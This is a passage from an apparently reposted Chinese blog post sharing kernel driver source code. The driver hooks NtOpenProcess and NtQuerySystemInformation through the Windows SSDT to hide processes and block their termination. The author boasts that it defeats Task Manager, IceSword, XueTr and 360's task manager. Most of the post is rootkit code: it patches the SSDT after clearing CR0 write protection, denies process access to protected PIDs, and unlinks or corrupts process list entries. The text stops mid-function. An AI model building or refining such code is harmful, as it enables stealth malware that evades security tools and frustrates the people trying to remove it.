1. 程式人生 > >SSDT HOOK技術輕鬆讓最新版冰刃、XueTr失效

SSDT HOOK技術輕鬆讓最新版冰刃、XueTr失效


剛開始學驅動,成功HOOK NtOpenProces 現在本想試試HOOK NtQuerySystemInformation,沒想打它的結構N多N長,也讓我很驚訝,這個API居然能獲取或者設定超過50多種的資訊。

       參考網上的一些程式碼,看的我暈頭轉向的..也沒點解釋,而且也沒法編譯...總算搞清楚 程序資訊是以連結串列的形式儲存資料的。雖然沒學過連結串列,但也大概有所瞭解。在做實驗過程中,編譯出錯N次,系統藍屏了N次,總算完成也理解了。
    
      在這個過程中發現一些有趣的事情,例如,網上大部分程式碼都是HOOK 這個API來實現程序隱藏,其實還可以惡搞程序資訊。最簡單的就是修改要保護程序的PID了。例如:Explorer.exe 的程序PID 是1203,那麼我就可以修改成1234,這樣工作管理員也就獲取到假的 PID 。任何對程序操作的前提條件是能獲取到它的PID,現在PID被修改,結束程序自然也無法成功了。原本想修改成其他的程序的PID,例如,工作管理員的PID是1860,它要結束我們要保護的程序1203,那麼我們就把 1203修改成它的PID1860,這就變成工作管理員自己結束自己了。可惜,不知道為什麼會失敗。嘿嘿,雖然這個失敗了,但是在處理連結串列資料的時候又有新發現,發現破壞連結串列結構,就會實現隱藏所有程序的程序資訊,工作管理員看到的是一片空白,目前最新版的XueTr 看到的也是一篇空白,還有冰刃,一檢視程序就立即報錯。360工作管理員啟動就立即報錯。但是不知道什麼原因居然能產生這種作用!據我所知,冰刃和XueTr貌似不是用常規的方法獲取程序的。所以即使是HOOK NtQuerySystemInformation 移除該程序的所有資訊也能被識別出來。那麼它們應該不是呼叫NtQuerySystemInformation這個獲取程序資訊才對,現在我無意破壞NtQuerySystemInformation 的連結串列結構,居然能影響到它們,太奇怪了。
以下是截圖。

後來經過自己改進,實現了隱藏指定程序,工作管理員可以顯示其他的程序,冰刃和XueTr就無法獲取程序。不過不穩定,工作管理員有時候會報錯或者會顯示出無名的程序但是PID的值卻非常大。沒法,不知道真正原因,所以這個問題也沒法解決。
以下是成功的時候截的圖:

嘿嘿,正因為開始我對連結串列不太熟悉,所以在一次實驗中無意破壞了連結串列的結構,就發現這個現象。哈哈~~~,當然也不能說這發現能跟冰刃和XueTr對抗了,因為採用SSDD HOOK,所以它們很容易就能發現。至於360,倒也沒去測試過,首先載入驅動這一步就得費很多心思了。

以下是SYS完整原始碼:

main.h: 用於初始化驅動程式
 
////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
 
///////////////////////////////////////////////////////////////////// 
// 表示函式執行後 就從記憶體釋放 
#define INITCODE code_sge("INIT")
 
// 表示記憶體不足時,可以被置換到硬碟
 
#define PAGECODE code_seg("PAGE")
 

#pragma once
 
#ifdef __cplusplus
 
extern "C"
 
{
 
       #endif
 
       #include <ntddk.h>
 
       #ifdef __cplusplus            
 
}
 
#endif 

/////////////////////////////////////////////////////////////////////
 

// 儲存符號連線 用於解除安裝驅動是刪除符號連線 
UNICODE_STRING SymLinkName;
 

// 建立裝置 
NTSTATUS CreateMyDevice(IN PDRIVER_OBJECT pDriverObject, WCHAR MyDeviceName[], WCHAR MySymLinkName[]); 
// 派遣函式 
NTSTATUS DispatchRoutine(IN PDEVICE_OBJECT pDevobj,IN PIRP pIrp);
 
// 解除安裝驅動 
void UnLoadSys(IN PDRIVER_OBJECT pDriverObject); 

// 接收到Ring3傳遞的命令則分析並執行 
ULONG CallBack(IN ULONG Ring3_Cmd, IN PIRP pIrp);
 
///////////////////////////////////////////////////////////////////// 

// 建立裝置
 
#pragma INITCODE       // 引數:    驅動物件,所建立的裝置名稱,所建立的符號連線名稱 
NTSTATUS CreateMyDevice(IN PDRIVER_OBJECT pDriverObject, WCHAR MyDeviceName[], WCHAR MySymLinkName[])
 
{
 
        // 建立裝置
 
        UNICODE_STRING DeviceName;
 
        RtlInitUnicodeString(&DeviceName, MyDeviceName); 
                     
 
        NTSTATUS Status;
 
        PDEVICE_OBJECT pDevObj;
 
        Status = IoCreateDevice(pDriverObject, 0, &DeviceName, FILE_DEVICE_UNKNOWN, 0, TRUE, &pDevObj); 
        if(!NT_SUCCESS(Status))
 
        {
 
              if(Status == STATUS_INSUFFICIENT_RESOURCES)
 
              { 
                   KdPrint(("資源不足!"));
 
              } 
              if(Status == STATUS_OBJECT_NAME_EXISTS)
 
              {
 
                   KdPrint(("指定物件名存在!"));
 
              }
 
              if(Status == STATUS_OBJECT_NAME_COLLISION)
 
              {
 
                   KdPrint(("指定物件名衝突!"));
 
              }     
 
              KdPrint(("建立裝置失敗!"));
 
              return Status;  
 
        } 
//        KdPrint(("裝置建立成功!"));
 
        
 
        pDevObj->Flags |= DO_BUFFERED_IO;
 
         
 
        // 建立符號連線 
        RtlInitUnicodeString(&SymLinkName, MySymLinkName);
 
        Status = IoCreateSymbolicLink(&SymLinkName, &DeviceName);
 
        
 
        if(!NT_SUCCESS(Status))           // 建立符號連線失敗 
        {
 
                KdPrint(("建立符號連線失敗!"));
 
                IoDeleteDevice(pDevObj);  // 刪除建立的裝置 
                return Status; 
        }
 
        return STATUS_SUCCESS;        
 
}
 

#pragma PAGECODE
 
NTSTATUS DispatchRoutine(IN PDEVICE_OBJECT pDevobj,IN PIRP pIrp)
 
{
 
     ULONG Info = 0;
 
     
 
     // 得到當前棧指標
 
     PIO_STACK_LOCATION Stack; 
     Stack = IoGetCurrentIrpStackLocation(pIrp);
 
     // 區分IRP 
     ULONG IRP = 0;
 
     IRP = Stack->MajorFunction; 
     switch(IRP)
 
     {
 
          case IRP_MJ_DEVICE_CONTROL:
 
               {            
 
                    //得到輸入緩衝區大小
 
                    ULONG cbin = Stack->Parameters.DeviceIoControl.InputBufferLength;
 
   //得到輸出緩衝區大小
 
   ULONG cbout = Stack->Parameters.DeviceIoControl.OutputBufferLength;
 
   //得到IOCTL碼
 
   ULONG Ring3_Cmd = Stack->Parameters.DeviceIoControl.IoControlCode;
 
   // 掉用回撥函式,按照指定的資訊執行指定動作 
   Info = CallBack(Ring3_Cmd, pIrp);
 
               }
 
               break;
 
          case IRP_MJ_CREATE:
 
               break; 
          case IRP_MJ_CLOSE:
 
               break;
 
          case IRP_MJ_READ:
 
               break;                       
 
     }
 
     
 
     // 對相應的IRP進行處理 
     pIrp->IoStatus.Information = Info;
 
     pIrp->IoStatus.Status      = STATUS_SUCCESS;     // 返回成功
 
     
 
     // 指示完成此IRP 
     IoCompleteRequest(pIrp, IO_NO_INCREMENT);  
 
     return STATUS_SUCCESS;                             
 
}
 

SSDT_HOOK.h:  SSDT HOOK 架構
 
//////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// 
// 匯出SSDT表 
typedef struct _ServiceDescriptorTable
 
{
 
       PVOID ServiceTableBase;        // SSDT基址
 
       PVOID ServiceCounterTable;     // 包含SSDT中每個服務被呼叫次數的計數器,一般由sysenter更新即Ring3轉Ring0中斷
 
       unsigned int NumberOfServices; // 由ServiceTableBase描述服務的數目
 
       PVOID ParamTableBase;          // 包含每個系統服務引數位元組數表的基地址-系統服務引數表        
 
}*PServiceDescriptorTable;
 
extern PServiceDescriptorTable KeServiceDescriptorTable;
 


#pragma PAGECODE // 要hook的NTAPI服務號,指向原生API,自己的函式地址
 
int HOOK_API(IN int NtAPI_ID, OUT LONG *Nt_Addr, IN ULONG MyFun)
 
{
 
     if(NtAPI_ID>295)
 
     {
 
        KdPrint(("NtAPI服務號過大(WIN200:0-295,WINXP:0-283):%d", NtAPI_ID));
 
        return 1;
 
     }
 
     
 
     if(!MyFun)
 
     {
 
        KdPrint(("代替函式地址無效:0x%X", MyFun));
 
        return 2;
 
     }
 
       
     // 獲取NtAPI的在SSDT表的地址
 
     LONG  *SSDT_NT_Addr = NULL;
 
     SSDT_NT_Addr = (PLONG)((LONG)(KeServiceDescriptorTable->ServiceTableBase) + NtAPI_ID * 4);
 
     *Nt_Addr = *SSDT_NT_Addr;            // 取出真正的NtApi地址  
 
     KdPrint(("函式原地址存放在SSDT的地址:0x%X", SSDT_NT_Addr));
 
     KdPrint(("讀取該地址獲取真正NtAPI地址:0x%X", *SSDT_NT_Addr));
 
     KdPrint(("代替函式地址:0x%X", MyFun));
 
     
 
     if((LONG)SSDT_NT_Addr<0x80000000 ||(LONG)SSDT_NT_Addr>0x90000000)
 
     {
 
        KdPrint(("函式原地址存放在SSDT的地址獲取失敗:0x%X", SSDT_NT_Addr));
 
        return 3;
 
     }
 
     
 
     if((LONG)*Nt_Addr<0x80000000 ||(LONG)*Nt_Addr>0x90000000)
 
     {
 
        KdPrint(("原生函式地址獲取失敗:0x%X", SSDT_NT_Addr));
 
        return 3;
 
     }
 
       
     // 修改SSDT API地址
 
     __asm                       
 
     {
 
        cli
 
        mov eax, cr0 
        and eax, not 10000h
 
        mov cr0, eax              // 去掉記憶體保護 
     } 
     *SSDT_NT_Addr = MyFun;       // 修改存放在SSDT裡面的地址 
    __asm 
{ 
mov     eax, cr0 
or     eax, 10000h 
mov     cr0, eax          // 恢復記憶體保護
 
sti 
} 
     return 0; 
}
 
#pragma PAGECODE // 要hook的NTAPI服務號,指向原生API,自己的函式地址
 
int UnHOOK_API(IN int NtAPI_ID, WCHAR Real_NtAPI_Name[])
 
{ 
    if(NtAPI_ID>295)
 
    {
 
        KdPrint(("NtAPI服務號過大(WIN200:0-295,WINXP:0-283):%d", NtAPI_ID));
 
        return 1;
 
    }
 
          
     // 獲取NtAPI的在SSDT表的地址
 
    LONG  *SSDT_NT_Addr = NULL;
 
    SSDT_NT_Addr = (PLONG)((LONG)(KeServiceDescriptorTable->ServiceTableBase) + NtAPI_ID * 4);
 
     
 
     // 獲取原生NtAPI地址 
    UNICODE_STRING NtAPI_Name;
 
    ULONG Real_NtAPI_Addr;
 
RtlInitUnicodeString(&NtAPI_Name, Real_NtAPI_Name);    
    Real_NtAPI_Addr = (ULONG)MmGetSystemRoutineAddress(&NtAPI_Name);
 
    
    if(Real_NtAPI_Addr<0x80000000 ||Real_NtAPI_Addr>0x90000000)
 
    {
 
        KdPrint(("獲取原生%ws地址失敗:0x%X",Real_NtAPI_Name, Real_NtAPI_Addr));
 
        return 2;                       
 
    }
 
     
 
     // 恢復SSDT API地址
 
     __asm                       
 
     {
 
        cli
 
        mov eax, cr0 
        and eax, not 10000h
 
        mov cr0, eax              // 去掉記憶體保護 
     } 
     *SSDT_NT_Addr = Real_NtAPI_Addr;       // 修改存放在SSDT裡面的地址 
    __asm 
{ 
mov     eax, cr0 
or     eax, 10000h 
mov     cr0, eax          // 恢復記憶體保護
 
sti 
} 
return 0;
 
     
 
}
 

NtQuerySystemInformation_Struct.h:  含義如其名
 
//////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// 
#ifndef __HOOKFUN_H__
 
#define __HOOKFUN_H__
 

typedef enum _SYSTEM_INFORMATION_CLASS {
 
    SystemBasicInformation,              // 0        Y        N
 
    SystemProcessorInformation,          // 1        Y        N
 
    SystemPerformanceInformation,        // 2        Y        N
 
    SystemTimeOfDayInformation,          // 3        Y        N
 
    SystemNotImplemented1,               // 4        Y        N
 
    SystemProcessesAndThreadsInformation, // 5       Y        N
 
    SystemCallCounts,                    // 6        Y        N
 
    SystemConfigurationInformation,      // 7        Y        N
 
    SystemProcessorTimes,                // 8        Y        N
 
    SystemGlobalFlag,                    // 9        Y        Y
 
    SystemNotImplemented2,               // 10       Y        N
 
    SystemModuleInformation,             // 11       Y        N
 
    SystemLockInformation,               // 12       Y        N
 
    SystemNotImplemented3,               // 13       Y        N
 
    SystemNotImplemented4,               // 14       Y        N
 
    SystemNotImplemented5,               // 15       Y        N
 
    SystemHandleInformation,             // 16       Y        N
 
    SystemObjectInformation,             // 17       Y        N
 
    SystemPagefileInformation,           // 18       Y        N
 
    SystemInstructionEmulationCounts,    // 19       Y        N
 
    SystemInvalidInfoClass1,             // 20
 
    SystemCacheInformation,              // 21       Y        Y
 
    SystemPoolTagInformation,            // 22       Y        N
 
    SystemProcessorStatistics,           // 23       Y        N
 
    SystemDpcInformation,                // 24       Y        Y
 
    SystemNotImplemented6,               // 25       Y        N
 
    SystemLoadImage,                     // 26       N        Y
 
    SystemUnloadImage,                   // 27       N        Y
 
    SystemTimeAdjustment,                // 28       Y        Y
 
    SystemNotImplemented7,               // 29       Y        N
 
    SystemNotImplemented8,               // 30       Y        N
 
    SystemNotImplemented9,               // 31       Y        N
 
    SystemCrashDumpInformation,          // 32       Y        N
 
    SystemExceptionInformation,          // 33       Y        N
 
    SystemCrashDumpStateInformation,     // 34       Y        Y/N
 
    SystemKernelDebuggerInformation,     // 35       Y        N
 
    SystemContextSwitchInformation,      // 36       Y        N
 
    SystemRegistryQuotaInformation,      // 37       Y        Y
 
    SystemLoadAndCallImage,              // 38       N        Y
 
    SystemPrioritySeparation,            // 39       N        Y
 
    SystemNotImplemented10,              // 40       Y        N
 
    SystemNotImplemented11,              // 41       Y        N
 
    SystemInvalidInfoClass2,             // 42
 
    SystemInvalidInfoClass3,             // 43
 
    SystemTimeZoneInformation,           // 44       Y        N
 
    SystemLookasideInformation,          // 45       Y        N
 
    SystemSetTimeSlipEvent,              // 46       N        Y
 
    SystemCreateSession,                 // 47       N        Y
 
    SystemDeleteSession,                 // 48       N        Y
 
    SystemInvalidInfoClass4,             // 49
 
    SystemRangeStartInformation,         // 50       Y        N
 
    SystemVerifierInformation,           // 51       Y        Y
 
    SystemAddVerifier,                   // 52       N        Y
 
    SystemSessionProcessesInformation    // 53       Y        N
 
} SYSTEM_INFORMATION_CLASS;
 

typedef struct _SYSTEM_PROCESSES { // Information Class 5
 
    ULONG NextEntryDelta;          // 構成結構列的偏移量 
    ULONG ThreadCount;             // 執行緒數目 
    ULONG Reserved1[6];
 
    LARGE_INTEGER CreateTime;      // 建立時間 
    LARGE_INTEGER UserTime;        // 使用者模式(Ring3)的CPU時間 
    LARGE_INTEGER KernelTime;      // 核心模式(Ring0)的CPU時間 
    UNICODE_STRING ProcessName;    // 程序名稱 
    KPRIORITY BasePriority;        // 程序優先權 
    ULONG ProcessId;               // 程序識別符號
 
    ULONG InheritedFromProcessID;  // 控制代碼數目
 
    ULONG HandleCount;             // 控制代碼數目
 
    ULONG Reserved2[2];
 
    VM_COUNTERS VmCounters;        // 虛擬儲存器的結構
 
    IO_COUNTERS IoCounters;        // IO計數結構
 
//    SYSTEM_THREADS Therads[1];     // 程序相關執行緒的結構陣列 
} SYSTEM_PROCESSES, *PSYSTEM_PROCESSES;
 
/*
 
typedef struct _SYSTEM_THREADS
 
{
 
LARGE_INTEGER KernelTime;           //CPU核心模式使用時間;
 
LARGE_INTEGER UserTime;         //CPU使用者模式使用時間;
 
LARGE_INTEGER CreateTime;       //執行緒建立時間;
 
ULONG     WaitTime;         //等待時間;
 
PVOID     StartAddress;       //執行緒開始的虛擬地址;
 
CLIENT_ID   ClientId;         //執行緒識別符號;
 
KPRIORITY   Priority;         //執行緒優先順序;
 
KPRIORITY   BasePriority;       //基本優先順序;
 
ULONG     ContextSwitchCount;   //環境切換數目;
 
THREAD_STATE State;          //當前狀態;
 
KWAIT_REASON WaitReason;       //等待原因;
 
}SYSTEM_THREADS,*PSYSTEM_THREADS;
 

typedef struct _VM_COUNTERS
 
{
 
ULONG PeakVirtualSize;         //虛擬儲存峰值大小;
 
ULONG VirtualSize;           //虛擬儲存大小;
 
ULONG PageFaultCount;         //頁故障數目;
 
ULONG PeakWorkingSetSize;       //工作集峰值大小;
 
ULONG WorkingSetSize;         //工作集大小;
 
ULONG QuotaPeakPagedPoolUsage;     //分頁池使用配額峰值;
 
ULONG QuotaPagedPoolUsage;       //分頁池使用配額;
 
ULONG QuotaPeakNonPagedPoolUsage;   //非分頁池使用配額峰值;
 
ULONG QuotaNonPagedPoolUsage;     //非分頁池使用配額;
 
ULONG PagefileUsage;          //頁檔案使用情況;
 
ULONG PeakPagefileUsage;        //頁檔案使用峰值;
 
}VM_COUNTERS,*PVM_COUNTERS;
 

typedef struct _IO_COUNTERS
 
{
 
LARGE_INTEGER ReadOperationCount;   //I/O讀運算元目;
 
LARGE_INTEGER WriteOperationCount;   //I/O寫運算元目;
 
LARGE_INTEGER OtherOperationCount;   //I/O其他運算元目;
 
LARGE_INTEGER ReadTransferCount;    //I/O讀資料數目;
 
LARGE_INTEGER WriteTransferCount;   //I/O寫資料數目;
 
LARGE_INTEGER OtherTransferCount;   //I/O其他操作資料數目;
 
}IO_COUNTERS,*PIO_COUNTERS;
 
typedef struct _SYSTEM_PERFORMANCE_INFORMATION
 
{
 
LARGE_INTEGER IdleTime;          //CPU空閒時間;
 
LARGE_INTEGER ReadTransferCount;     //I/O讀運算元目;
 
LARGE_INTEGER WriteTransferCount;     //I/O寫運算元目;
 
LARGE_INTEGER OtherTransferCount;     //I/O其他運算元目;
 
ULONG     ReadOperationCount;     //I/O讀資料數目;
 
ULONG     WriteOperationCount;     //I/O寫資料數目;
 
ULONG     OtherOperationCount;     //I/O其他操作資料數目;
 
ULONG     AvailablePages;       //可獲得的頁數目;
 
ULONG     TotalCommittedPages;     //總共提交頁數目;
 
ULONG     TotalCommitLimit;      //已提交頁數目;
 
ULONG     PeakCommitment;       //頁提交峰值;
 
ULONG     PageFaults;         //頁故障數目;
 
ULONG     WriteCopyFaults;       //Copy-On-Write故障數目;
 
ULONG     TransitionFaults;      //軟頁故障數目;
 
ULONG     Reserved1;
 
ULONG     DemandZeroFaults;      //需求0故障數;
 
ULONG     PagesRead;         //讀頁數目;
 
ULONG     PageReadIos;         //讀頁I/O運算元;
 
ULONG     Reserved2[2];
 
ULONG     PagefilePagesWritten;    //已寫頁檔案頁數;
 
ULONG     PagefilePageWriteIos;    //已寫頁檔案運算元;
 
ULONG     MappedFilePagesWritten;   //已寫對映檔案頁數;
 
ULONG     MappedFileWriteIos;     //已寫對映檔案運算元;
 
ULONG     PagedPoolUsage;       //分頁池使用;
 
ULONG     NonPagedPoolUsage;     //非分頁池使用;
 
ULONG     PagedPoolAllocs;       //分頁池分配情況;
 
ULONG     PagedPoolFrees;       //分頁池釋放情況;
 
ULONG     NonPagedPoolAllocs;     //非分頁池分配情況;
 
ULONG     NonPagedPoolFress;     //非分頁池釋放情況;
 
ULONG     TotalFreeSystemPtes;     //系統頁表項釋放總數;
 
ULONG     SystemCodePage;       //作業系統內碼表數;
 
ULONG     TotalSystemDriverPages;   //可分頁驅動程式頁數;
 
ULONG     TotalSystemCodePages;    //作業系統內碼表總數;
 
ULONG     SmallNonPagedLookasideListAllocateHits; //小非分頁側視列表分配次數;
 
ULONG     SmallPagedLookasideListAllocateHits;  //小分頁側視列表分配次數;
 
ULONG     Reserved3;         
ULONG     MmSystemCachePage;     //系統快取頁數;
 
ULONG     PagedPoolPage;       //分頁池頁數;
 
ULONG     SystemDriverPage;     //可分頁驅動頁數;
 
ULONG     FastReadNoWait;       //非同步快速讀數目;
 
ULONG     FastReadWait;       //同步快速讀數目;
 
ULONG     FastReadResourceMiss;   //快速讀資源衝突數;
 
ULONG     FastReadNotPossible;    //快速讀失敗數;
 
ULONG     FastMdlReadNoWait;     //非同步MDL快速讀數目;
 
ULONG     FastMdlReadWait;      //同步MDL快速讀數目;
 
ULONG     FastMdlReadResourceMiss;  //MDL讀資源衝突數;
 
ULONG     FastMdlReadNotPossible;   //MDL讀失敗數;
 
ULONG     MapDataNoWait;       //非同步對映資料次數;
 
ULONG     MapDataWait;        //同步對映資料次數;
 
ULONG     MapDataNoWaitMiss;     //非同步對映資料衝突次數;
 
ULONG     MapDataWaitMiss;      //同步對映資料衝突次數;
 
ULONG     PinMappedDataCount;     //牽制對映資料數目;
 
ULONG     PinReadNoWait;       //牽制非同步讀數目;
 
ULONG     PinReadWait;        //牽制同步讀數目;
 
ULONG     PinReadNoWaitMiss;     //牽制非同步讀衝突數目;
 
ULONG     PinReadWaitMiss;      //牽制同步讀衝突數目;
 
ULONG     CopyReadNoWait;       //非同步拷貝讀次數;
 
ULONG     CopyReadWait;       //同步拷貝讀次數;
 
ULONG     CopyReadNoWaitMiss;     //非同步拷貝讀故障次數;
 
ULONG     CopyReadWaitMiss;     //同步拷貝讀故障次數;
 
ULONG     MdlReadNoWait;       //非同步MDL讀次數;
 
ULONG     MdlReadWait;        //同步MDL讀次數;
 
ULONG     MdlReadNoWaitMiss;     //非同步MDL讀故障次數;
 
ULONG     MdlReadWaitMiss;      //同步MDL讀故障次數;
 
ULONG     ReadAheadIos;       //向前讀運算元目;
 
ULONG     LazyWriteIos;       //LAZY寫運算元目;
 
ULONG     LazyWritePages;       //LAZY寫頁檔案數目;
 
ULONG     DataFlushes;        //快取重新整理次數;
 
ULONG     DataPages;         //快取重新整理頁數;
 
ULONG     ContextSwitches;      //環境切換數目;
 
ULONG     FirstLevelTbFills;     //第一層緩衝區填充次數;
 
ULONG     SecondLevelTbFills;     //第二層緩衝區填充次數;
 
ULONG     SystemCall;         //系統呼叫次數;
 
}SYSTEM_PERFORMANCE_INFORMATION,*PSYSTEM_PERFORMANCE_INFORMATION;
 

typedef struct __SYSTEM_PROCESSOR_TIMES
 
{
 
LARGE_INTEGER IdleTime;       //空閒時間;
 
LARGE_INTEGER KernelTime;       //核心模式時間;
 
LARGE_INTEGER UserTime;       //使用者模式時間;
 
LARGE_INTEGER DpcTime;        //延遲過程呼叫時間;
 
LARGE_INTEGER InterruptTime;     //中斷時間;
 
ULONG     InterruptCount;     //中斷次數;
 
}SYSTEM_PROCESSOR_TIMES,*PSYSTEM_PROCESSOR_TIMES;
 

typedef struct _SYSTEM_PAGEFILE_INFORMATION
 
{
 
ULONG NetxEntryOffset;        //下一個結構的偏移量;
 
ULONG CurrentSize;          //當前頁檔案大小;
 
ULONG TotalUsed;           //當前使用的頁檔案數;
 
ULONG PeakUsed;           //當前使用的頁檔案峰值數;
 
UNICODE_STRING FileName;       //頁檔案的檔名稱;
 
}SYSTEM_PAGEFILE_INFORMATION,*PSYSTEM_PAGEFILE_INFORMATION;
 

typedef struct _SYSTEM_CACHE_INFORMATION
 
{
 
ULONG SystemCacheWsSize;       //快取記憶體大小;
 
ULONG SystemCacheWsPeakSize;     //快取記憶體峰值大小;
 
ULONG SystemCacheWsFaults;      //快取記憶體頁故障數目;
 
ULONG SystemCacheWsMinimum;     //快取記憶體最小頁大小;
 
ULONG SystemCacheWsMaximum;     //快取記憶體最大頁大小;
 
ULONG TransitionSharedPages;     //共享頁數目;
 
ULONG TransitionSharedPagesPeak;   //共享頁峰值數目;
 
ULONG Reserved[2];
 
}SYSTEM_CACHE_INFORMATION,*PSYSTEM_CACHE_INFORMATION; 

typedef NTSTATUS (* PZW_QUERY_SYSTEMINFORMATION)(
 
    IN  SYSTEM_INFORMATION_CLASS SystemInformationClass,
 
    OUT PVOID SystemInformation,
 
    IN  ULONG SystemInformationLength,
 
    OUT PULONG ReturnLength
 
    );
 

NTSTATUS NTAPI NewZwQuerySystemInformation(
 
    IN  SYSTEM_INFORMATION_CLASS SystemInformationClass,
 
    OUT PVOID SystemInformation,
 
    IN  ULONG SystemInformationLength,
 
    OUT PULONG ReturnLength
 
    );
 
*/
 
// =================================================================
 
// BASIC TYPES
 
// =================================================================
 

typedef unsigned char       BYTE,  *PBYTE,  **PPBYTE;
 
typedef unsigned short      WORD,  *PWORD,  **PPWORD;
 
typedef unsigned long       DWORD, *PDWORD, **PPDWORD;
 
typedef unsigned __int64    QWORD, *PQWORD, **PPQWORD;
 
typedef int                 BOOL,  *PBOOL,  **PPBOOL;
 
typedef void                                **PPVOID;
 
#endif  //;
 
  
 
HOOK_API.h:  HOOK API 原型定義與替代函式的實現
 
//////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////// 
#include "NtQuerySystemInformation_Struct.h"  // NtQuerySystemInformation 函式需要的結構 
// 定義NtQuerySystemInformation的原型
 
extern "C" typedef NTSTATUS __stdcall NTQUERYSYSTEMINFORMATION(
 
    // 型別資訊,大概提供50餘種資訊探測或設定 
    __in SYSTEM_INFORMATION_CLASS SystemInformationClass,
 
    // 為我們提供需要獲得的資訊,或是我們需要設定的系統資訊              
 
    __out_bcount_opt(SystemInformationLength) PVOID SystemInformation,
 
    // SystemInformation 長度,根據探測的資訊型別決定 
    __in ULONG SystemInformationLength,
 
    // 系統返回需要的長度,通常可以設定為NULL 
    __out_opt PULONG ReturnLength
 
);
 
NTQUERYSYSTEMINFORMATION *RealNtQuerySystemInformation;
 

// 定義NtOpenProcess的原型
 
extern "C" typedef NTSTATUS __stdcall NTOPENPROCESS
 
(
 
       OUT PHANDLE ProcessHandle,
 
       IN  ACCESS_MASK AccessMask,
 
       IN  POBJECT_ATTRIBUTES ObjectAttributes,
 
       IN  PCLIENT_ID ClientId
 
);
 
NTOPENPROCESS *RealNtOpenProcess;      // 定義函式指標 用來指向真正的NtOpenProcess函式地址
 

///////////////////////////////////////////////////////////////////////////////////////////
 
                   
ULONG _ProcessPID_Len = 0;
 
ULONG _ProcessPID[512] = {0};
 

BOOL _L_HOOK = FALSE;
 

#pragma PAGECODE
 
BOOL ScanPID(ULONG PID)
 
{
 
     for(ULONG i=0; i<_ProcessPID_Len; i++)
 
     {
 
         if(PID == _ProcessPID[i])
 
         {
 
                return TRUE;
 
         }              
 
     }
 
     return FALSE;     
 
} 
// 定義自己的NtOpenProcess 用於檢查其傳遞過來的引數 
#pragma PAGECODE
 
extern "C" NTSTATUS __stdcall MyNtOpenProcess(
 
                                              OUT     PHANDLE ProcessHandle,
 
                                              IN      ACCESS_MASK AccessMask,
 
                                              IN      POBJECT_ATTRIBUTES ObjectAttributes,
 
                                              IN      PCLIENT_ID ClientId
 
                                              )
 
{
 
        PEPROCESS  EP;
 
    NTSTATUS     rc; 
        HANDLE       PID; 
        
 
        if( (ClientId != NULL) ) 
        { 
        PID = ClientId->UniqueProcess;  
 
        
 
        // 如果是被保護的PID,則拒絕訪問,並將控制代碼設定為空 
//        if(PID == (HANDLE)_ProcessPID) 
            if(ScanPID((ULONG)PID))
 
        { 
        //除錯輸出 類似C語言的 Printf
 
        ProcessHandle = NULL; //這個是關鍵
 
        rc = STATUS_ACCESS_DENIED; //這個返回值 
       
        //PsLookupProcessByProcessId((ULONG)PID,&EP);
 
       
        EP=PsGetCurrentProcess(); 
        KdPrint(("【%s】程序想結束要保護的程序 \n",(PTSTR)((ULONG)EP+0x174)));
 
        }
 
            else 
                rc = RealNtOpenProcess(ProcessHandle, AccessMask, ObjectAttributes, ClientId);
 
        } 
        
 
        return rc;                                         
 
}
 

#pragma PAGECODE
 
extern "C" NTSTATUS __stdcall MyNtQuerySystemInformation(
 
    __in SYSTEM_INFORMATION_CLASS SystemInformationClass,              // 獲取資訊的型別                               
    __out_bcount_opt(SystemInformationLength) PVOID SystemInformation, // 輸出資訊的buf地址
 
    __in ULONG SystemInformationLength,                                // buf的空間大小 
    __out_opt PULONG ReturnLength)                                     // 實際寫入的大小                 
 
{
 
  SYSTEM_PROCESSES *lpspi = 0,*lpspia = 0;
 
  lpspi = (SYSTEM_PROCESSES*)SystemInformation;
 
  
 
//  UNICODE_STRING aProcessName;
 
//  RtlInitUnicodeString(&aProcessName, L"Explorer.exe");
 
  
 
  NTSTATUS a = RealNtQuerySystemInformation(SystemInformationClass, SystemInformation, SystemInformationLength, ReturnLength);                                         
 

  if(SystemInformationClass != 5 || !NT_SUCCESS(a)) 
  {
 
    return a;
 
  }
 

  /*
 
  // 這個是隱藏所有的程序 但是冰刃、XueTr能檢測出來 
  SystemInformation = NULL;
 
  return STATUS_ACCESS_DENIED;
 
  */
 

    if(_L_HOOK)
 
    {
 
    // 這個也是隱藏所有的程序 最新版的XueTr無法檢測出來並且也無法顯示正確的程序數等資訊 冰刃檢視程序會報錯 
         int i = 0;   
 
         while(lpspi->NextEntryDelta != 0) 
         {
 
            i++;
 
             if(i==2)
 
             {
 
                  lpspi->NextEntryDelta = 5;
 
                 lpspi = (SYSTEM_PROCESSES*)((PUCHAR)lpspi+lpspi->NextEntryDelta);
 
                 continue;
 
              }
 
            lpspi = (SYSTEM_PROCESSES*)((PUCHAR)lpspi+lpspi->NextEntryDelta);             
         }
 
          return a;
 
    }  
 

  //  這個是隱藏指定程序 對冰刃、XueTr無效
 
  // 如果節點資訊有效  
 
  while(lpspi)
 
  {
 
        // 判斷該節點資訊是否是我們要保護的程序資訊 
//         if(RtlEqualUnicodeString(&aProcessName,&lpspi->ProcessName,1)) 
//         if(lpspi->ProcessId == _ProcessPID)
 
         if(ScanPID(lpspi->ProcessId))
 
         {      
 
              // 如果這條要保護的程序資訊是在頭節點                                                            
 
              if(lpspia == 0)
 
              {
 
                  // 有頭結點也有下一個節點 即不是唯一的節點      
 
                  if(lpspi->NextEntryDelta != 0)                    
 
                   {
 
                        // 直接將輸出緩衝區的頭指標指向下一個節點 忽略頭結點的資訊                  
 
                        SystemInformation = (PVOID)((DWORD)SystemInformation + lpspi->NextEntryDelta); 
                        // 指標下移 
                        lpspi = (SYSTEM_PROCESSES*)((PUCHAR)lpspi+lpspi->NextEntryDelta);
 
                        continue;                     
 
                   }
 
                   else
 
                   {
 
                       // 如果只有一個節點且是要隱藏的節點 則將輸出緩衝器置空 
                       SystemInformation = NULL; 
                   }       
              } 
              else         // 如果是中間節點 則表示該程序資訊是在中間或尾部 
              {
 
                    // 如果還有下一個節點 說明該程序資訊是在中間部分 
                    if(lpspi->NextEntryDelta != 0)
 
                    {
 
                        // 將該程序資訊的上一個指標結構偏移量指向下一個節點 這樣就可以忽略這個程序的指標資訊 
                        lpspia->NextEntryDelta += lpspi->NextEntryDelta;
 
                        // 指標移向下一個指標 
                        lpspi = (SYSTEM_PROCESSES*)((PUCHAR)lpspi+lpspi->NextEntryDelta);
 
                        continue;
 
                    }
 
                    //尾部結點
 
                    else
 
                    {
 
